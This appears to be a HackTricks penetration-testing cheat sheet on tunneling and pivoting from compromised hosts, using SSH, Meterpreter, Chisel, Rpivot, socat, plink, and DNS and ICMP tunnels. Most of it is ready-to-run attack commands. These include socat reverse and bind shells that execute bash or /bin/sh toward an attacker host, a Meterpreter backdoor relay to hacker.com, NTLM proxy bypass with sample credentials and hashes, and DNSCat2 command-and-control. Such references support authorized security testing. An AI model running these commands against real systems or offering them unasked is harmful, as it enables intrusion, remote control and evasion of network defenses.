hacktricks/tunneling-and-port-forwarding.md

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# Tunneling and Port Forwarding
## **SSH**
SSH graphical connection \(X\)
```bash
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
```
### Local Port2Port
Open new Port in SSH Server --&gt; Other port
```bash
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
```
```bash
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
```
### Port2Port
Local port --&gt; Compromised host \(SSH\) --&gt; Third\_box:Port
```bash
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
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sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
```
### Port2hostnet \(proxychains\)
Local Port --&gt; Compromised host \(SSH\) --&gt; Wherever
```bash
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
```
### VPN-Tunnel
You need **root in both devices** \(as you are going to create new interfaces\) and the sshd config has to allow root login:
`PermitRootLogin yes`
`PermitTunnel yes`
```bash
ssh username@server -w any:any #This wil create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
```
Enable forwarding in Server side
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
```
Set new route on client side
```text
route add -net 10.0.0.0/16 gw 1.1.1.1
```
## SSHUTTLE
You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.
Example, forwarding all the traffic going to 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
```
## Meterpreter
### Port2Port
Local port --&gt; Compromised host \(active session\) --&gt; Third\_box:Port
```bash
# Inside a meterpreter session
portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
```
### Port2hostnet \(proxychains\)
```bash
background# meterpreter session
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route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
run #Proxy port 1080 by default
echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
Another way:
```bash
background #meterpreter session
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use post/multi/manage/autoroute
set SESSION <session_n>
set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
set NETMASK <Netmask>
run
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use auxiliary/server/socks_proxy
set VERSION 4a
run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
```
## reGeorg
[https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg)
You need to upload a web file tunnel: ashx\|aspx\|js\|jsp\|php\|php\|jsp
```bash
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
```
## Chisel
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You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
You need to use the **same version for client and server**
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### socks
```bash
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./chisel server -p 8080 --reverse #Server
./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
#And now you can use proxychains with port 1080 (default)
```
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### Port forwarding
```bash
./chisel_1.7.6_linux_amd64 server -p 12312 --reverse
./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505
```
## Rpivot
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080
```bash
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
```
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
```
Pivot through **NTLM proxy**
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
```bash
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
```
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Reverse shell
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
### Port2Port
```bash
socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
```
### Port2Port through socks
```bash
socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
```
### Meterpreter through SSL Socat
```bash
#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
```
```bash
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
#Execute the meterpreter
```
You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console:
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
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### SSL Socat Tunnel
**/bin/sh console**
Create certificates in both sides: Client and Server
```bash
# Execute this commands in both sides
FILENAME=socatssl
openssl genrsa -out $FILENAME.key 1024
openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
chmod 600 $FILENAME.key $FILENAME.pem
```
```bash
attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
```
### Remote Port2Port
Connect the local SSH port \(22\) to the 443 port of the attacker host
```bash
attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost
victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22
attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
```
## Plink.exe
It's like a console PuTTY version \( the options are very similar to a ssh client\).
As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
```bash
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
```
## NTLM proxy bypass
The previously mentioned tool: **Rpivot**
**OpenVPN** can also bypass it, setting these options in the configuration file:
```bash
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
```
### Cntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
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It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
Example that forward port 443
```text
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Now, if you set for example in the victim the **SSH** service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a **meterpreter** that connects to localhost:443 and the attacker is listening in port 2222.
## YARP
A reverse proxy create by Microsoft. You can find it here: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tunneling
### Iodine
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
```text
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
```text
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
### DNSCat2
Establishes a C&C channel through DNS. It doesn't need root privileges.
```bash
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
```
**Port forwarding with dnscat**
```bash
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
```
#### Change proxychains DNS
Proxychains intercepts `gethostbyname` libc call and tunnels tcp DNS request through the socks proxy. By **default** the **DNS** server that proxychains use is **4.2.2.2** \(hardcoded\). To change it, edit the file: _/usr/lib/proxychains3/proxyresolv_ and change the IP. If you are in a **Windows environment** you could set the IP of the **domain controller**.
## Tunnels in Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
## ICMP Tunneling
### Hans
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
```
## Other tools to check
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
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* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)